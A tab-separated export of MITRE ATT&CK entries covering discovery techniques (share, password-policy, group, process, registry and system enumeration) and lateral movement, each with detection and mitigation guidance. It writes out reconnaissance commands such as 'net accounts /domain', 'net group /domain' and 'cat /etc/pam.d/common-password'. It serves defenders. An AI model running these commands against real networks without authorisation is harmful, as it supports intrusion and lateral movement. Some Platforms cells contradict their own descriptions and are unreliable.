T1135	**1**	**Technique**	**Network Share Discovery**	Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. ### Windows File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. ### Mac On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command. ### Cloud Cloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be sufficient due to benign use during normal operations.	Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Process monitoring, Process command-line parameters, Network protocol analysis, Process use of network	macOS, Windows	User	https://attack.mitre.org/techniques/T1135
T1201	**1**	**Technique**	**Password Policy Discovery**	Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) ### Windows * <code>net accounts</code> * <code>net accounts /domain</code> ### Linux * <code>chage -l <username></code> * <code>cat /etc/pam.d/common-password</code> ### macOS * <code>pwpolicy getaccountpolicies</code>	Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.	Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)	discovery	Process command-line parameters, Process monitoring	Windows, Linux	User	https://attack.mitre.org/techniques/T1201

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1120	**1**	**Technique**	**Peripheral Device Discovery**	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	PowerShell logs, API monitoring, Process monitoring, Process command-line parameters	Windows, macOS	User, Administrator	https://attack.mitre.org/techniques/T1120
T1069	**1**	**Technique**	**Permission Groups Discovery**	Adversaries may attempt to find local system or domain-level groups and permissions settings. ### Windows Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the [Net](https://attack.mitre.org/software/S0039) utility. ### Mac On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups. ### Linux On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command. ### Office 365 and Azure AD With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance) Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command <code>az ad user get-member-groups</code> will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Azure activity logs, Office 365 account logs, API monitoring, Process monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1069
T1057	**1**	**Technique**	**Process Discovery**	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility. ### Mac and Linux In Mac and Linux, this is accomplished with the <code>ps</code> command.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1057
T1012	**1**	**Technique**	**Query Registry**	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Windows Registry, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1012
T1018	**1**	**Technique**	**Remote System Discovery**	Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems. ### Windows Examples of tools and commands that acquire this information include "ping" or "net view" using [Net](https://attack.mitre.org/software/S0039). The contents of the <code>C:\Windows\System32\Drivers\etc\hosts</code> file can be viewed to gain insight into the existing hostname to IP mappings on the system. ### Mac Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system. ### Linux Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system. ### Cloud In cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Network protocol analysis, Process monitoring, Process use of network, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1018

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1063	1	**Technique**	**Security Software Discovery**	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. ### Mac It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	File monitoring, Process monitoring, Process command-line parameters	macOS, Windows	User, Administrator	https://attack.mitre.org/techniques/T1063
T1518	1	**Technique**	**Software Discovery**	Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).		discovery	Process command-line parameters, Process monitoring, File monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1518
T1082	1	**Technique**	**System Information Discovery**	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows Example commands and utilities that obtain this information include <code>ver</code>, [Systeminfo](https://attack.mitre.org/software/S0096), and <code>dir</code> within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories. ### Mac On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. ### AWS In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery) ### GCP On Google Cloud Platform (GCP) <code>GET /v1beta1/{parent=organizations/*}/assets</code> or <code>POST /v1beta1/{parent=organizations/*}/assets:runDiscovery</code> may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard) ### Azure In Azure, the API request <code>GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01</code> may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Azure activity logs, Stackdriver logs, AWS CloudTrail logs, Process monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1082
T1016	1	**Technique**	**System Network Configuration Discovery**	Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Process monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1016

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1049	**1**	**Technique**	**System Network Connections Discovery**	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) ### Windows Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). ### Mac and Linux In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1049
T1033	**1**	**Technique**	**System Owner/User Discovery**	### Windows Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Mac On Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>. ### Linux On Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1033
T1007	**1**	**Technique**	**System Service Discovery**	Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1007
T1124	**1**	**Technique**	**System Time Discovery**	The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service) An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.	Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.	Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time. Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Process monitoring, Process command-line parameters, API monitoring	Windows	User	https://attack.mitre.org/techniques/T1124
TA0008	**0**	**Tactic**	**Lateral Movement**	The adversary is trying to move through your environment. Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.							https://attack.mitre.org/tactics/TA0008
T1017	**1**	**Technique**	**Application Deployment Software**	Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.	Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.	Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.	lateral-movement	File monitoring, Process use of network, Process monitoring	Linux, macOS		https://attack.mitre.org/techniques/T1017

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1210	**1**	**Technique**	**Exploitation of Remote Services**	Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169) Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.	Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.	Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation. Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape) Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.	lateral-movement	Windows Error Reporting, Process monitoring, File monitoring	Linux, Windows	User	https://attack.mitre.org/techniques/T1210
T1534	**1**	**Technique**	**Internal Spearphishing**	Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) or [Spearphishing Link](https://attack.mitre.org/techniques/T1192) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces. There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)	Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)		lateral-movement	SSL/TLS inspection, DNS records, Anti-virus, Web proxy	Windows, macOS	User	https://attack.mitre.org/techniques/T1534
